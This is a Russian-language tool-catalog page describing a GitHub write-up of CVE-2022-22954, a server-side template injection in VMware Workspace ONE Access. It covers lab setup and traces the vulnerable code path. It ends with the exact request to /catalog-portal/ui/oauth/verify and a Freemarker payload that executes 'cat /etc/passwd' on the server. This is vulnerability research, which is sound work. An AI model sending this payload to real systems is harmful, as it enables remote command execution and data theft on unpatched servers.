Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22954 — CVE-2022-22954 аналитик | Kitploit
Инструменты/GitHubGitHub/nguyenv1nk/cve-2022-22954
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubnguyenv1nk/cve-2022-22954

CVE-2022-22954

CVE-2022-22954 аналитик

Репозиторий
4 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Анализ CVE-2022-22954

Обзор

Workspace ONE Access (модель предоставления рабочего пространства как услуги) предоставляет многофакторную аутентификацию, единый вход и условный доступ для SaaS, веб- и мобильных приложений. CVE-2022-22954 — это уязвимость Server-side Template Injection, присутствующая в следующих продуктах:

  • VMware Workspace ONE Access (Access): v21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  • VMware Identity Manager (vIDM): v3.3.6, 3.3.5, 3.3.4 и 3.3.3
  • VMware vRealize Automation (vRA): v8.x и 7.6
  • VMware Cloud Foundation (VCF): v4.x и 3.x
  • vRealize Suite Lifecycle Manager: 8.x

Установка

  1. Скачайте файл OVA VMware Workspace ONE Access Appliance версии 21.08.0.1

  2. Откройте файл в VMware Workstation; виртуальная машина должна находиться в сети NAT

  3. В Networking Properties необходимо настроить Host Name (FQDN)

  4. После завершения установки перейдите по адресу https://{{hostname}}:8443/, чтобы настроить пароль учётной записи приложения, пароль учётной записи ssh и базу данных приложения Приложение запускается по адресу https://{{hostname}}/

  5. Войдите в виртуальную машину под учётной записью sshuser, переключитесь на учётную запись root Путь приложения находится в /opt/vmware/horizon/workspace/ Исходный код приложения находится в каталоге /opt/vmware/horizon/workspacce/webapps

  6. Проверьте файл /opt/vmware/horizon/workspace/bin/setenv.sh — видно, что переменную JAVA_OPTS можно настроить для удалённой отладки

  7. Добавьте -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n в JAVA_OPTS и перезапустите службу

    root@kitploit:~
     `systemctl restart horizon-workspace.service`
    

Анализ пути

Скачайте файл исправления HW-154129-applyWorkaround.py

В ходе этих шагов есть шаг удаления файла templates/customError.ftl из приложения

В файле customError.ftl присутствует функция eval. Уязвимость Freemarker SSTI может быть использована, если можно контролировать значение errorObj.

В классе com.vmware.enusercatalog.ui.web.UiErrorController видно, что метод handleGenericError присваивает значение errorObj через переменную errorMessage

Продолжаем отслеживать вызовы функций и параметр errorMessage

Метод handleUnauthorizedError

Метод getErrorPage

Что касается двух методов sendError и sendUnhandledError, то значение errorMessage берётся из свойства javax.servlet.error.message

В классе com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver свойству javax.servlet.error.message"* присваивается значение в методе resolverExeption

Метод handleAnyGenericExeption помечен аннотацией @ExeptionHandler

В классе com.vmware.endusercatalog.ui.UiApplication среди пакетов, помеченных @CommponentScan, есть com.vmware.endusercatalog.auth

=> Исключения из этого пакета могут быть перехвачены методом handleAnyGenericExeption

В com.vmware.endusercatalog.ui.config перехватчик AuthContextPopilationInterceptor добавляется для путей /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify

Переходим к классу com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor: в методе preHandle приложение принимает два параметра deviceUdid и deviceType и вызывает метод authContextBuilder

В классе com.vmware.endusercatalog.auth.interceptor.AuthContext исключение InvalidAuthContextException возникает, если условие this.isValidRequest не выполняется

Чтобы условие isValidRequest выполнялось, оба параметра this.deviceId и this.deviceType должны быть одновременно пустыми или одновременно иметь значения

=> Если передать значение только для одного из двух параметров, здесь возникнет ошибка

Отправьте запрос

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?deviceUdid=111 

появляется ошибка

root@kitploit:~
An unexpected error occurred while processing request with requestId: {0}.

Возвращаясь к методу com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController, видно, что указанная ошибка возникает из-за отсутствия обязательного параметра error

root@kitploit:~
    @GetMapping(
        value = {"/ui/oauth/verify"},
        params = {"error"}
    )
    @ApiOperation(
        value = "authorizeError",
        notes = ""
    )
    public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
        LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
        throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
    }

Повторно отправьте запрос

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc 

значение deviceUdid появляется в ответе

Вставьте параметр, вызывающий SSTI Freemarker

Отправьте запрос со значением

root@kitploit:~
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

ЭКСПЛУАТАЦИЯ

ССЫЛКИ

  • https://kb.vmware.com/s/article/88099
  • https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC/
  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Скачать инструмент